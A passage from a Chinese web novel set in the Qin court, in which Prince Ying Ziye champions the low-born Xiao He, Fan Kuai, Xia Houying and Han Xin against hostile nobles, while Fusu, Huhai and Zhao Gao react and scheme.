谁也没注意角落里几个游侠打扮的汉子悄悄握紧了剑柄。
……
长公子府。
竹帘被晨风吹得轻轻晃动。
扶苏跪坐在案前,手中简册“啪嗒”一声滑落在茵席上。
他的手指还保持着翻阅的姿势,指节却微微泛白。
“这…这怎么可能……”
简册上墨迹未干的战报仍在眼前晃动:
魏地贵族尽数北迁,赵地氏族俯首称臣,连最桀骜的齐国田氏都被迫交出了祖传的青铜礼器!
而完成这一切的,竟是那个整日在府中炼丹的六弟派去的萧何——
区区一个沛县小吏!!
淳于越端着茶盏的手顿了顿:“公子?”
“老师您看。”
扶苏猛地抓起竹简,宽大的袖口带翻了砚台。
墨汁在素绢上洇开,像极了地图上那些被朱砂标记的城池。
“子夜竟用这等酷烈手段!”
“迁徙遗族也就罢了,可这‘抗命者当场格杀’……”
他的声音有些发颤。
“如此手段,恐生怨怼…”
窗外传来侍从的惊呼,原是几只灰雀撞上了新悬的铜铃。
扶苏却恍若未闻,起身时衣带勾倒了笔架,狼毫滚了满地。
“我要进宫。”
他抓起佩玉就要往外走,“必须劝谏父皇……”
“公子且慢。”
淳于越拦在门前,老迈的身躯像一株倔强的古松,
“您忘了上次宫中……”
“陛下已将您禁足。”
扶苏的脚步戛然而止。
那日崩断的冕旒玉珠,此刻仿佛又在他脚边滚动。
他缓缓低头,看见自己掌心被玉佩硌出的红痕。
多可笑,他连握紧玉佩都会疼,而六弟的刀已经架在了六国遗族的脖子上。
“可老师……”
再抬头时,这位以仁德著称的长公子眼中竟有泪光闪动。
“以刑止乱,未尝不是权宜之计……”
“可若江山以血立、以惧维,终有一日,民心尽失。”
一阵穿堂风突然掀开竹帘,将案上简册哗啦啦翻到最后一页。
那里赫然盖着朱红玺印。
是父皇的印。
扶苏像是被烫到般缩回手,踉跄退后两步撞上了青铜灯台。
灯盏摇晃间,他恍惚看见灯影里浮现出六弟懒散的笑脸。
那个总爱说“皇兄太过仁厚”的弟弟,如今正用最锋利的刀,将他信奉的仁政之道劈得粉碎!!
“我与子夜,同为人子,同为公子…”
“为何所行之道,却如冰炭不容?”
第46章 萧何,随我入朝,本公子护着你!
章台宫内,青铜鹤灯与日光相交辉映。
始皇帝独坐案前,指尖摩挲着竹简上那个“萧何”的名字,玄色龙袍上的金线在灯下忽明忽暗。
殿角漏刻滴水声清晰可闻,更显得这深宫寂静如渊。
“好一个萧何。”
低沉的嗓音在空荡的大殿里回荡。
竹简被轻轻放下,与案上堆积如山的奏章相比,这份来自六国旧址的捷报显得格外单薄!
可就是这薄薄几片竹简,记载着六国遗族百年难解的顽疾。
竟被一个名不见经传的小吏,用三十日连破诸城!
始皇帝忽然想起那日麒麟殿上,赢子夜举荐此人时满朝文武的嗤笑。
当时那孩子是怎么说的?
“儿臣只要他腰间一柄剑,殿前三寸舌。”
如今看来,这柄剑斩断的何止是六国余孽的痴心妄想,更劈开了满朝公卿的鼠目寸光。
“赵高。”
侍立在阴影中的中车府令连忙趋前跪伏。
始皇帝却未看他,目光落在殿外那株新移栽的楚地红枫上:
“你说,朕这些年来,可曾看错过人?”
赵高额头抵地:
“陛下慧眼如炬……”
“朕看错了扶苏。”
始皇帝突然打断,手指在案上敲出沉闷的声响,
“那孩子太像他母亲,心软。”
枫叶被风吹得沙沙作响,他语气忽然转冷。
“倒是子夜……随朕。”
最后一字落下,案上烛火猛地窜高三分。
赵高屏住呼吸,看见帝王袖中露出一角帛书。
那是黑冰台密报,记载着萧何每夜在驿馆挑灯记录的各氏族秘辛。
这个不起眼的文士,竟将六国贵族盘根错节的关系网,理得比司农府的账册还清楚!
“拟诏。”
始皇帝突然起身,玄袍扫过丹墀惊起细微尘埃,
“擢萧何即日赴咸阳述职。”
赵高愕然抬头!
陛下…要见那小吏?
却见帝王负手望向殿外乌云,嘴角噙着一丝几不可见的笑意:
“朕倒要看看,子夜给朕送的这份礼…还能开出什么花来。”
惊雷突然炸响,照亮了帝王深邃的眉宇。
那目光仿佛穿透雨幕,看到了更远的地方。
或许是大秦版图上正在消失的六国界碑,又或许…是某个在炼丹炉旁懒散微笑的少年。
……
数日后。
六公子府的青石阶上还沾着晨露。
萧何腰间悬着天子剑,袖口沾染着风尘,在府门前深深吸了一口气。
他指尖抚过剑鞘上“受命于天”四个篆字,想起这一路上斩断的无数荆棘,如今终于能回来复命了。
“萧先生回来了?”
赵弋苍的声音从廊下传来,这位前禁卫统领抱拳一礼,玄铁护腕在晨光中泛着冷光。
他早萧何几日折返,与那份急报一同返回,是为了给赢子夜复命。
萧何连忙还礼,却发现往日肃杀的赵统领嘴角竟带着一丝笑意:
“公子等您多时了。”
踏入内院时,萧何看见赢子夜正倚在梧桐树下逗弄一只通体雪白的隼。
玄色常服松散地披着,发梢还滴着水珠,像是刚沐浴完毕。
这般闲适模样,与传闻中那个谈笑间让六国贵族俯首的六公子判若两人。
“臣,萧何……”
“免礼。”
赢子夜头也不回地摆摆手,隼儿振翅飞上枝头,
“剑放那儿就行。”
青铜案几发出“铿”的一声轻响。
天子剑归鞘。
萧何躬身道:“魏楚齐等六国大族已悉数迁入咸阳,按公子吩咐,顽抗者当场正法,其余……”
“这些我都知道了。”
赢子夜忽然转身,湿发甩出一串水珠。
“说说我不知道的。”
萧何一怔,随即从袖中取出五卷竹简:“此行还遇几位奇才,皆愿效命公子。”
他展开第一卷。
“樊哙,沛县屠户,力能扛鼎;”
“周勃,以织蚕箔为生,却通晓兵法;”
“夏侯婴……”
梧桐叶沙沙作响。
赢子夜闻言,随手接过萧何呈上的竹简,水珠从发梢滴落在简册上,晕开几处墨迹。
他漫不经心地展开第一卷,目光扫过那些名字。
“樊哙……周勃……夏侯婴……”
每个名字都念得缓慢,仿佛在品味其中的分量。
萧何垂手而立,注意到公子阅读时的神情。
只有纯粹的审视。
“这个陈平…”
赢子夜突然停在第四卷某个名字上,指尖轻轻点了点,“为何特别注明‘分肉甚均’?”
萧何松了口气:
“此人在乡里主持丧祭时,能将祭肉分得毫厘不差。臣观其……”
“能分天下者,必先分肉。”
赢子夜突然轻笑,将竹简一卷卷摞好。
“全收了。”
萧何愕然!
“公子不先考校他们才学?这些人……”
“你记不记得离开咸阳前我说过什么?”
赢子夜甩了甩湿发,水珠溅在案几上。
“我要的是能独当一面的人才。”
他随手拿起个桃子咬了一口,
“既然你能从分肉看出治国之才……”
汁水顺着下巴滴落,他笑得眉眼弯弯:“我为何不信?”
萧何喉结滚动。
这一刻他忽然明白,公子不是在认可这些素未谋面的人,而是
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在认可他萧何的眼光。
这份毫无保留的信任,比任何考校都更令人心惊!!
萧何正沉浸在震撼中,忽听赢子夜又抛出一句:
“明日随我入朝,你亲自向父皇奏禀六国之事。”
这句话像一道惊雷劈在萧何头顶!
他猛地抬头,连礼数都忘了,声音发颤:“臣……上朝?”
“怎么?”
赢子夜斜倚在青玉案边,指尖把玩着一枚黑玉棋子,
“让你去**时不见手软,上个朝反倒怕了?”
棋子“嗒”地落在棋盘上,惊得萧何心头一跳。
他听见自己心跳如擂鼓,震得耳膜生疼。
上朝?
面见始皇帝?
这比他第一次执剑踏入六国贵族府邸时还要令人窒息。
“公子。”
他听见自己干涩的声音,
“臣不过一介小吏,如何配……”
“小吏?”
赢子夜忽然笑出声,随手将桃核抛向檐下铜盂,
“能让我大秦少流三成血的人,怎能称小吏?”
桃核在空中划出弧线,“咚”地一声正中盂心。
萧何的官袍下摆已经攥出了褶皱。
他想起那些被自己亲手“押”进咸阳的六国贵族,想起他们临行前怨毒的眼神。
若明日朝堂上……
“还是不敢?”
赢子夜不知何时已走到他面前,玄色靴尖映入眼帘。
萧何猛地抬头,正对上公子似笑非笑的眼睛。
那眼底哪有半分懒散,分明是淬了火的剑光!
“臣……”
“听着。”
赢子夜忽然俯身。
“像你这样的人,若能踏进麒麟殿,就也能证明,六国遗族的脊梁…彻底断了。”
他直起身,随手掸了掸萧何肩头并不存在的灰尘。
“至于那些嗡嗡叫的苍蝇……”
檐外突然传来破空声!
白隼俯冲而下,利爪精准扣住一只误入庭院的蜻蜓,羽翼掀起的风扑灭了最近的一盏灯烛。
赢子夜在明灭的光影里勾起嘴角:
“本公子最擅长拍苍蝇。”
萧何突然单膝跪地,膝甲撞在青石上发出脆响。
他抱拳的双手稳如磐石:“属下定不让公子失望!”
“这才对。”
赢子夜转身走向内室,衣袂翻卷如夜云。
“明日辰时,穿那件绛色官服来。”
他漫不经心地指了指案几。
“记得带上你那几卷竹简,父皇最爱看这种…小吏的笔记。”
最后一词咬得戏谑,却让萧何眼眶发热!!!
他望着公子消失在珠帘后的背影,突然发现掌心被竹简边缘硌出的血痕,不知何时已经结痂。
……
第47章 尔等承庇祖宗福荫,也配说三道四?
晨光初现。
咸阳宫的朱漆大门在薄雾中缓缓开启。
萧何跟在赢子夜身后,每踏上一级白玉阶,心跳就快一分。
樊哙粗重的呼吸声从身后传来,这个屠户出身的壮汉正瞪圆了眼睛盯着宫墙上鎏金的玄鸟纹饰。
“**,这柱子够俺家杀十年猪……”
樊哙的嘟囔被夏侯婴一把捂住。
萧何回头时,正看见韩信抱着他那柄破剑,指尖在剑鞘上无意识地摩挲,眼神却亮得吓人。
“噤声。”
赢子夜头也不回地甩了甩袖袍,
“这里吐口唾沫都能惊动三公九卿。”
拐过回廊时,远处传来环佩叮咚之声。
扶苏带着淳于越等儒臣缓步而来,雪白的衣袂在晨风中如流云舒展。
萧何下意识屏住呼吸!!
这位以仁德著称的长公子,目光正落在他们这群人身上。
“六弟今日倒是热闹。”
扶苏温润的嗓音里带着恰到好处的好奇,眼神在萧何腰间玉带上顿了顿。
那是赢子夜昨夜特意赐下的官饰。
赢子夜懒洋洋地拱手:
“皇兄安好。这几个是……”
“哎呀呀!”
尖细的嗓音突然响起。
胡亥带着赵高从另一侧廊柱后转出,金线**袍在朝阳下晃得人眼花。
“六哥这是把市井之徒都带进宫了?”
他捏着鼻子退后半步,夸张地扇了扇风。
萧何看见樊哙的拳头瞬间攥紧,青筋暴起。
韩信却垂下眼帘,仿佛对这一切充耳不闻。
扶苏微微蹙眉:
“十八弟,不得无礼。”
他转向赢子夜,语气温和,“六弟,这几位是……”
“萧何,你们都知道了。”
赢子夜随手一指,
“樊哙,沛县屠户;夏侯婴,车夫出身;韩信……”
他顿了顿。
“淮阴游侠。”
淳于越的白胡子猛地一抖。
老儒生盯着韩信脚上露趾的草鞋,喉结滚动了几下,终究没出声。
倒是他身后几个年轻儒生已经憋红了脸,有个甚至“噗嗤”笑出了声。
“六公子。”
淳于越终于忍不住开口,“麒麟殿乃……”
“我知道是什么地方。”
赢子夜突然打断,嘴角挂着笑,眼神却冷了下来。
“昨日廷尉还奏请将六国遗族幼童充入太学——”
他忽然伸手拍了拍韩信的肩膀。
“比起那些满嘴复国的遗少,我倒觉得这几位更配踏进麒麟殿。”
扶苏瞳孔微缩。
他注意到六弟说这话时,萧何的背脊挺得笔直,而那个叫韩信的年轻人,指节在破剑上叩出了规律的轻响。
像在计算什么……
胡亥突然“咯咯”笑起来:
“六哥说得对!那个大个子……”
他指着樊哙。
“待会可别把朝堂当肉铺啊!”
赵高在阴影里无声地勾起嘴角。
“十八弟。”
然而,赢子夜却忽然凑近,吓得胡亥往后一仰。
“你熏的什么香?跟章台宫侍女们用的好像是一个味儿?”
胡亥的脸瞬间涨得通红。
他那双桃花眼微微眯起,金线**袖下的手指轻轻捻着腰间玉佩。
“六哥带着他们入朝,莫不是想要让他们为官?”
他声音像浸了蜜的**。
“小弟还是奉劝六哥,待会朝堂上莫要因为他们的粗鄙之举,让父皇迁怒于您啊。”
赢子夜闻言轻笑,指尖拂过袖口,触到那柄天子剑冰凉的剑柄。
“十八弟有心了。”
他抬眼时,眸中闪过一丝戏谑。
“不过比起罗网那些刽子手,我这几个门客至少还讲究个品性。”
手指突然在剑鞘上一弹,发出“铮”的清响!
“赵高身为你的老师,十八弟可要当心…近墨者黑啊。”
胡亥脸上笑容僵了一瞬,随即笑得更加灿烂。
他亲昵地凑近半步,指尖却狠狠掐进掌心。
“六哥教训的是。”
“小弟…定当谨记。”
“铛——”
浑厚的钟声震碎晨雾。
扶苏急忙打圆场:“时辰不早了,六弟、十八弟,该入朝了。”
远处,麒麟殿的九重宫门正缓缓开启。
赢子夜转身时,玄色朝服扫过地面,惊起一片尘埃。
听见身后淳于越压低的训斥。
“竖子不足与谋……”
韩信突然回头。
这一眼,如冷电划过,惊得老儒生后半句话卡在了喉咙里!
等众人回过神,那个抱剑的年轻人已经走远,只在青砖上留下几个湿漉漉的脚印。
樊哙粗声粗气地嘟囔:
“这地砖比俺家杀猪案还光溜……”
夏侯婴死死拽住他衣角,额头渗出冷汗。
只有萧何挺直腰板走在赢子夜身侧,腰间玉带在朝阳下泛着青光。
那是昨夜赢子夜亲手给他系上的。
胡亥落在最后,突然狠狠踹了脚廊柱。
赵高幽灵般出现在他身后,声音轻得像蛇信:“十八公子,咱们走吧。”
宫道尽头,朝阳终于冲破云层。
赢子夜在光晕中眯起眼,嘴角噙着若有若无的笑。
他知道,今日之后,咸阳宫的天,要变了。
……
麒麟殿内,青铜鹤灯吞吐着幽蓝火焰。
百官分列两侧,玄色朝服如林,却在赢子夜带着萧何等人踏入时,荡开一片细微的骚动。
扶苏瞥见老太仆的胡子抖了抖,而奉常已经捏紧了手中的玉圭。
“陛下驾到——”
九重钟响震得梁上尘埃簌簌而落。
始皇帝玄色龙袍上的金线玄鸟在晨光中展翅欲飞,冕旒垂下的玉珠遮住了帝王深邃的目光。
赢子夜在百官最前端躬身行礼,余光却扫见胡亥正偷偷用脚尖碾着韩信拖在地上的破衣角。
“儿臣有奏。”
赢子夜出列时,袖中滑出一卷竹简。
“萧何已自六国之地归,请准其奏禀迁族之事。”
始皇帝指尖在龙案上轻叩两下。
“准。”
萧何深吸一口气,缓步上前。
他的脚步在光可鉴人的金砖上略显迟疑,腰间的玉带随着步伐轻轻晃动。
当他在殿中央跪下时,能清晰地听见身后樊哙粗重的呼吸声。
“臣萧何,奉六公子之命处置六国遗族之事……”
他的声音起初有些发颤,但很快变得沉稳有力。
随着他详细禀报各地贵族迁徙安置的情况,殿中几位老臣的脸色渐渐变得难看起来。
待萧何奏毕,赢子夜再次出列:
“儿臣另有人才举荐。”
他转身示意,樊哙等人依次站出。
这一行人甫一出列,殿内顿时响起一片窃窃私语。
樊哙壮硕的身躯将衣服撑得紧绷。
夏侯婴紧
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张得不住擦拭额头的汗水。
韩信则抱着他那柄破旧的剑,眼神平静得近乎冷漠。
“儿臣请以萧何为廷尉府律令监!”
“樊哙善战敢死,调入北军屯卫,署都尉之职,协助西坊治备。”
“夏侯婴,熟驭马政,署少府外营驭马副使;”
“韩信,通古兵书,请入武库司,署胄械参令,**制军械、校编新兵。”
“三人皆随臣办理六国新户编籍,暂列外府听用。”
话音未落,殿中已是一片哗然。
“荒谬!”
老太仆第一个站出来反对,花白的胡子气得直颤,
“大秦以军功授爵,此等市井之徒,寸功未立,岂能骤得高位?”
一位身着儒袍的大臣指着樊哙讥讽道:“一个屠夫,也配入北军屯卫?”
他的目光扫过韩信破旧的衣衫,冷笑更甚。
“至于这位‘游侠’,跟街边乞儿有何区别?”
“若让此等人立于朝堂,岂不让天下人耻笑我大秦无人?!”
奉常也出列附和:
“夏侯婴不过一介马夫,怎能执掌皇家车驾?六公子此举,未免儿戏。”
殿中议论纷纷,反对之声此起彼伏。
赢子夜却神色不变,只是嘴角噙着一丝若有若无的笑意。
胡亥站在一旁,眼中闪烁着幸灾乐祸的光芒。
他悄悄凑近赵高,压低声音道:
“老师看,六哥这次可要栽跟头了。”
赵高微微垂首,苍白的脸上浮现出一丝难以察觉的冷笑。
就在这时。
赢子夜忽然轻笑一声,笑声不大,却让满朝嘈杂为之一静。
他慢条斯理地整了整袖口,玄色朝服上的暗纹在殿内灯火下若隐若现。
“诸公说得极是。”
他语气轻缓,却字字如刀,“大秦确实以军功立国——”
话音陡然一转:“可本公子怎么记得,当年商君变法时,那些喊着‘祖宗之法不可变’的,正是甘龙、杜挚之流?”
老太仆脸色骤变,手中笏板“啪”地掉在地上。
赢子夜负手踱步,靴底碾过那柄**笏板:“太仆大人方才说马夫不配掌车驾?”
他突然指向殿外那尊铜马雕像。
“穆天子八骏,可有一匹是出自名门?”
老太仆的胡子剧烈颤抖起来。
“还有这位——”
赢子夜倏地转身,手指几乎点到奉常鼻尖。
“说游侠不如乞儿的尊驾,可还记得百里奚以五张羊皮换得,助穆公称霸西戎?”
他猛地扯开韩信衣襟,露出一道狰狞箭伤!
“这伤,可比某些人靠祖荫得来的爵位金贵多了!”
殿内死寂。
韩信苍白的脸上泛起异样的微红,怀中的破剑发出细微的铮鸣。
赢子夜突然从袖中甩出一卷竹简,哗啦啦在殿中铺开。
“这,是萧何整理的六国氏族谱牒。”
他脚尖一点,竹简滑到老廷尉脚下。
“诸位不妨看看,那些自诩高贵的楚昭氏、齐田氏,近三代有多少人是靠买官鬻爵爬上来的?”
奉常突然厉喝:“六公子!此乃朝堂,不是……”
“不是市井骂街?”
赢子夜冷笑打断,“那本公子倒要问问——”
他骤然提高声调:“三川郡守尉劫上月强占民田千顷,他爹是谁?”
“南阳盐铁使赵成贪墨案发,又是谁在廷尉府替他周旋?”
第48章 六公子……怎敢这么有种?!
几个老臣踉跄后退,仿佛被无形剑气所伤。
“诸公口口声声血统门第,氏族贵胄……”
赢子夜忽然从韩信怀中抽出那柄破剑,剑锋在灯下泛着幽蓝寒光!
“可知这柄‘破铜烂铁’,今后能在六国故土外换来数以十万计的敌军首级?”
他反手将剑插在金砖缝隙中,“而某些人腰间玉具剑——”
目光扫过胡亥佩剑。
“怕是连血锈都没见过吧?”
胡亥脸色煞白,下意识按住剑柄。
始皇帝冕旒下的目光微微闪动。
赢子夜却已走到萧何身旁,一把扯下他腰间玉带:“这条带子,是昨夜我亲手给他系的。”
他忽然将玉带掷于丹墀!!
“因为它比某些氏族祖传的龟钮金印干净!”
“至少…没沾着治下百姓的血泪!!!”
老太仆突然瘫坐在地,冠冕歪斜!
赢子夜俯身拾起玉带,轻轻掸去灰尘:“当年孝公若也讲究门第,今日这咸阳宫里站着的——”
他环视满朝文武!
“恐怕还是那群只会吟唱‘岂曰无衣’的冢中枯骨!!!”
最后一字落下!
殿角铜鹤灯台的火苗猛地窜高三尺,映得赢子夜眼中寒芒大盛!
那几个方才叫嚣最凶的老臣、氏族,此刻都像被掐住喉咙的鹌鹑,再不敢出声。
扶苏手中的玉圭疯狂颤抖。
他瞪大双眼,嘴唇微微颤抖着,不可置信地望着站在殿中央的六弟。
这个弟弟,如今竟像一柄出鞘的利剑,锋芒毕露得让人不敢直视!!
“他…他怎么敢……这么有种?!”
扶苏在心中喃喃自语。
那些被点名的氏族,哪一个不是手握大秦命脉?
三川尉氏掌控着关中半数盐井,南阳赵氏垄断了巴蜀铁矿,更别说那些盘根错节的姻亲关系。
即便是他这个长公子,平日里也要对这些氏族礼让三分。
胡亥的嘴角却不受控制地上扬。
他死死掐着自己的掌心才没笑出声来,眼中的幸灾乐祸几乎要溢出来。
“好,好得很!”
他在心中狂笑,“六哥这是自掘坟墓!”
余光瞥向赵高,发现老师苍白的脸上也浮现出一丝诡异的笑意。
殿角的老奉常面如死灰,手中的笏板“咔嚓”一声被捏出裂痕。
他死死盯着赢子夜,浑浊的眼中满是震惊与怨毒!
多少年了,自从吕不韦倒台后,再没有人敢在朝堂上如此赤果果地撕开氏族的脸面!
老太仆更是不堪,直接瘫软在席位上,冠冕歪斜,露出花白散乱的鬓发。
他哆嗦着嘴唇,却一个字也说不出来。
赢子夜方才那番话,等于是把他家三代人辛苦经营的遮羞布扯得粉碎!!!
就在这时。
始皇帝缓缓起身,玄色龙袍上的金线玄鸟仿佛要振翅飞出。
他的目光扫过那些面如土色的老臣,最后落在赢子夜身上。
这个儿子站得笔直,玄色朝服上暗纹浮动,眉宇间竟有几分自己年轻时的影子。
帝王心中突然涌起一阵复杂的情绪。
他想起自己十三岁那年,从赵国回到咸阳时,那些氏族子弟是如何在背后指指点点,骂他是“赵地野种”。
想起加冠亲政那日,嫪毐叛乱时,有多少氏族在暗中观望……
“陛下!”
老太仆突然扑倒在地,声泪俱下,“六公子此言,是要寒了老秦人的心啊!”
始皇帝眼神一冷。
他记得这个老臣的孙子,去年才因强占民女被廷尉府记了一笔。
“砰!”
一声巨响突然震彻大殿。
一块玉镇重重砸在案几上,上好的和田玉瞬间四分五裂,碎片飞溅!
“够了。”
帝王的声音并不高,却像一柄重锤狠狠砸在每个人心头。
冕旒垂下的玉珠剧烈晃动,遮不住那双如炬的龙目。
方才还嘈杂不已的大殿,瞬间安静得能听见铜鹤灯台火苗摇曳的声响。
扶苏心中一凛,瞬间低垂着目光,不敢再抬头。
胡亥的笑容僵在脸上,突然意识到事情似乎没有朝自己预期的方向发展。
“当初……”
“寡人欲迁六国贵族于咸阳之时。”
帝王的声音并不高,却字字如重锤砸在众人心头,“为何不见尔等如此慷慨陈词?”
老奉常的膝盖一软,险些跪倒在地。
始皇帝的目光如电,扫过那些面色惨白的氏族大臣:“于朝为官,究竟是看出身,还是看才学?嗯?”
老太仆颤巍巍地出列,额头上的冷汗在灯光下闪闪发亮。
“陛下明鉴,老臣并非只看出身。”
“只是这样的人…”
他偷瞄了一眼樊哙粗壮的身躯和韩信破旧的衣衫,“又怎会有什么眼界……”
“啪!”
始皇帝一掌拍在龙案上,案几应声而裂。
老太仆像被掐住脖子的鸡一般,瞬间噤声!
“眼界?”
帝王冷笑一声,“朕倒要看看,是谁的眼界更窄!”
整个大殿鸦雀无声。
扶苏发现自己的手心已被指甲掐出深深的月牙形痕迹。
胡亥则死死攥着赵高的衣袖,眼中满是难以置信!
父皇…竟然会为这些贱民说话?!
始皇帝的目光转向赢子夜,眼中闪过一丝难以察觉的柔和。
“既然诸卿认为你们名不副实,那寡人便给你们一次机会!”
他顿了顿,声音陡然提高,“恩准子夜所请!除萧何即刻赴任廷尉府外,其余人等皆随子夜出征墨家!”
这声惊雷般的旨意,震得满朝文武目瞪口呆!!
奉常直接瘫坐在地,冠冕歪斜。
宗正大臣手中的玉圭“啪”地断成两截。
始皇帝的目光如刀,一一扫过樊哙、夏侯婴和韩信等人:“你们要记住——”
他的声音突然变得极其危险!
“今日能有此机会,靠的是子夜。”
“若是名不副实……”
始皇帝的手指轻轻敲击着龙榻扶手,每一下都像是敲在众人心上,“子夜同样会因你们而牵累。”
樊哙的喉结上下滚动,粗壮的手臂上青筋暴起。
夏侯婴死死低着头,却掩不住眼中的激动。
韩信则猛地抬头,正对上帝王那双深不可测的眼睛。
那目光中的威压让他浑身一颤,却也让他的脊背挺得更直!
赢子夜嘴角微扬,上前一步:“儿臣…领旨。”
始皇帝的目光在殿中环视一周,最后落在那些面如土色的老臣身上:“退朝。”
两个字如雷霆炸响,震得满朝文武浑身一颤!
一位大臣踉跄着退后几步,差点撞到殿柱。
老太仆更是被侍从搀扶着才能勉强站立。
萧何跪伏在地,额头紧贴冰凉的金砖。
他能感觉到自己的官服已被冷汗浸透,但心中却涌起一股前所未有的热流!
陛下…竟然真的准了!!!
那个沛县小吏萧何,竟然真的要入主廷尉府了!
韩信缓缓抬手,握紧他那柄破剑。
在转身的刹那,他的目光与赢子夜短暂相接。
那双总是冷漠的眼睛里,此刻竟燃起了一簇炽热的火焰!
胡亥死死盯着赢子夜的背影,指甲深深掐入掌心。
他怎么也没想到,父皇竟然会这样偏袒六哥!
赵高轻轻拉了拉他的衣袖,微不可察地摇了摇头。
始皇帝转身离去的瞬间,冕旒玉珠碰撞出清脆的声响
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那袭玄色龙袍渐渐消失在殿后阴影中,却留下一股令人窒息的威压,久久不散……
……
十八公子府。
朱漆大门重重合上,将外界的喧嚣隔绝在外。
胡亥大步穿过回廊,金线**袍的下摆扫过青石板,发出沙沙的声响。
“都出去吧。”
入得殿后,他抬手轻轻一摆,语气并不激烈,甚至带着几分委屈的哽咽。
似是不堪受辱后强撑的脆弱,叫人不忍直视。
侍女们跪地请罪,心惊胆战地退出去,不敢多看他一眼。
唯有贴身老宦官还不放心,捧来一盏冰镇梅汤,小心翼翼道:“公子,降降火气吧…”
“这天气热,莫叫自己伤着了。”
“嗯。”
胡亥接过那盏梅汤,指尖一紧,盏身微微一晃,茶面漾起一圈涟漪。
他抬头冲老宦官勉强一笑,眼中竟含着一抹泛红的水光:“本公子累了,你也下去吧。”
老宦官不敢多言,只得伏地叩首,悄然退去。
帘影无声落下。
待殿内空无一人,胡亥突然抓起案几上的青铜酒爵,狠狠砸向墙壁。
“砰”的一声巨响,酒爵深深嵌入檀木屏风中。
他胸膛剧烈起伏,那张俊秀的脸庞此刻扭曲得可怕!
“好一个赢子夜……好一个父皇!”
他咬牙切齿地低语,手指无意识地摩挲着腰间玉佩。
那是赵高前日才送给他的和田美玉,此刻却被他捏得咯吱作响。
约莫半个时辰后,殿外传来熟悉的脚步声。
胡亥瞬间收敛了脸上的狰狞,换上一副委屈巴巴的表情。
当赵高苍白的脸出现在珠帘外时,他立刻红着眼眶迎上去。
“老师……”
声音里带着恰到好处的哽咽,“父皇他…他怎能如此偏袒六哥?”
赵高微微躬身,瓷白的脸上看不出情绪:“十八公子稍安勿躁。”
他缓步走到窗边,确认四下无人后,才低声道:“老奴方才已见过几位大人了。”
胡亥眼睛一亮,立刻凑近:“他们怎么说?”
脸上还挂着泪痕,眼中却已闪烁着精光。
“三川尉氏、南阳赵氏、陇西孟氏……”
赵高细数着那些被赢子夜当庭羞辱的氏族,“此刻都在各自府中…义愤填膺。”
胡亥闻言,嘴角不受控制地上扬,又迅速压下。
他转身走向案几,手指轻轻抚过那些散落的竹简。
那是他暗中收集的,关于赢子夜府上那些“奇人异士”的密报。
“老师,您说……”
他歪着头,露出孩童般天真的表情,“六哥此举,是不是在挖我大秦的根基啊?”
“那些氏族,可都是跟着曾祖父打天下的功臣之后呢。”
赵高眼中闪过一丝赞赏:“公子明鉴。”
“六公子今日所为,确实…令人深思。”
胡亥突然“咯咯”笑起来,声音清脆如铃,却让殿角的烛火都为之一颤!!
他轻快地来到赵高身边,扯住老师的衣袖:“那咱们要不要……帮六哥添把火呀?”
赵高苍白的脸上浮现出一丝诡异的微笑:“老奴明白该如何做了。”
胡亥松开手,走到窗边,望着远处六公子府的方向。
夕阳的余晖映在他天真无邪的脸上,却照不进那双深不见底的眼睛。
“六哥啊六哥……”
他轻声呢喃,手指无意识地在窗棂上划着。
“你以为讨得父皇欢心就够了么?”
“这大秦的江山…可不是一个人就能坐稳的。”
赵高无声地退到阴影处,看着这位看似纯良的十八公子。
在他身后,那枚青铜棋子“啪”地一声落在案几上,稳稳地立住了。
第49章 今日之后,我便是你们最大的靠山!
与此同时。
六公子府的书房内。
赢子夜斜倚在软榻上,指尖轻轻敲击着案几。
萧何、樊哙、夏侯婴、韩信四人跪伏在地,额头紧贴着冰凉的地砖。
“都起来吧。”
赢子夜懒洋洋地挥了挥手,“本公子这儿不兴这套。”
樊哙第一个抬起头,铜铃般的眼睛里还泛着红:“公子!俺老樊这条命……”
“打住。”
赢子夜一个桃子扔过去,正中樊哙张大的嘴。
“本公子最烦听这些。”
韩信最后一个起身,破旧的衣衫在烛光下显得更加寒酸。
他抱着那柄剑,指节发白。
赢子夜的目光在他身上停留片刻,忽然笑了:“怎么,韩参令对本公子的安排不满意?”
韩信猛地抬头,眼中闪过一丝惊诧。
他没想到公子会记得他在军中担任的职务。
“卑职……”
他的声音沙哑得像是许久未说话,“只是不明白。”
“不明白什么?”
“不明白公子为何…”
韩信顿了顿,像是在斟酌词句,“为何要为我们这样的人,得罪满朝氏族。”
书房内顿时安静下来。
萧何的呼吸微微一滞,夏侯婴紧张地搓着手,连粗线条的樊哙都察觉到了气氛的凝重。
赢子夜忽然坐直了身子,玄色衣袍上的暗纹在烛光下如水流动。
他伸手从案几上拿起一个漆盒,打开后里面竟是满满一盒泥土。
“认识这个吗?”
他捏起一撮土,任由它从指缝间滑落。
樊哙挠挠头:“这不就是土吗?”
“这是本公子让人从沛县带来的土。”
赢子夜的目光扫过众人,“也是你们每个人的…根。”
萧何浑身一震!
他没想到公子的心思如此细腻!
想当初,他初到咸阳时,也随身带着一包故乡土。
“本公子今日在朝堂上说的话……”
赢子夜突然将漆盒重重合上。
“不是为你们说的,是为大秦说的。”
他站起身,走到窗前,“一个只看出身的朝廷,迟早会变成一潭死水。”
韩信的眼神变了。
他第一次真正直视赢子夜的眼睛,发现那里面的光芒竟比剑锋还要锐利。
“萧何。”
赢子夜突然转身。
“臣在。”
“明日你入廷尉府,所有人的眼睛都会盯着你。”
赢子夜的声音陡然冷了下来,“那些氏族子弟,会像饿狼一样等着你犯错。”
萧何的背脊挺得笔直:“臣明白。”
“不,你不明白。”
赢子夜冷笑一声,“你以为廷尉府那些老狐狸会明着来?”
“他们会让你查的案子都是烫手山芋,给你的文书满是陷阱,甚至连你喝的水……”
他意味深长地顿了顿,“都可能有问题。”
樊哙倒吸一口冷气,拳头捏得咯咯响:“这群**的!”
赢子夜没理会樊哙的粗口,继续盯着萧何:“所以,你准备好了吗?”
萧何深吸一口气,突然跪地叩首:“臣不会让公子失望,更不会……”
他抬起头,眼中燃起一簇火焰,“落了六公子的威风!!!”
赢子夜满意地笑了。
他转向其他三人:“至于你们,半个月后,随本公子去会会墨家那些老鼠。”
目光在韩信身上停留,“尤其是你,韩参令……”
韩信单膝跪地,破旧的衣衫垂落在地:“卑职定不负公子所托!!”
“都下去吧。”
赢子夜重新躺回软榻,随手抓起一个桃子,“记住,从今日起,你们就不再是沛县小吏、淮阴游侠……”
他咬了一口桃子,汁水顺着下巴滴落,“而是我赢子夜的人。”
四人退下时。
萧何最后一个离开。
